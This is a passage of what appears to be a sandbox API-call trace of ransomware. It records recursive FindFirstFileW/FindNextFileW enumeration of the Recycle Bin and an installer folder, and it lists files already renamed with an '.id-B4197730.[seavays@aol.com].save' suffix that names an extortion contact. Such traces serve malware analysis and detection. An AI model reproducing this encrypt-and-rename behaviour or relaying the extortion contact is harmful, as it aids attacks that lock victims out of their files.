ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x721ded6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~1.SAV")) returned 1 [0158.680] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x72441bf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0158.680] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="preoobe.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PREOOB~1.SAV")) returned 1 [0158.680] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 1 [0158.680] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 0 [0158.680] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4521060 | out: hHeap=0x710000) returned 1 [0158.681] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0158.681] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0158.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0158.682] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0158.682] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0158.683] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName=".", cAlternateFileName="")) returned 0x72a448 [0158.683] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="..", cAlternateFileName="")) returned 1 [0158.683] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0158.683] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.683] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xffffe0f2, nFileSizeHigh=0xffffe0f2, nFileSizeLow=0x8e2, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="", cAlternateFileName="幸w\x08")) returned 0xffffffff [0158.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.684] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0158.684] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.684] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.684] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.684] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9febb52a, ftCreationTime.dwHighDateTime=0x1d535a3, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.684] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0158.684] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 0 [0158.684] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.684] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0158.684] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0158.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0158.685] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0158.685] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0158.685] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0158.686] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName=".", cAlternateFileName="")) returned 0x72a448 [0158.686] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="..", cAlternateFileName="")) returned 1 [0158.687] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1025", cAlternateFileName="")) returned 1 [0158.687] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.687] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.688] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x737fee6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.688] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.689] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1028", cAlternateFileName="")) returned 1 [0158.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.689] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.690] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.690] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.690] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.690] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.690] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.691] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0158.691] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1029", cAlternateFileName="")) returned 1 [0158.691] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0158.691] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.692] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.692] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76e2aad, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.692] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x800288c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.692] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) 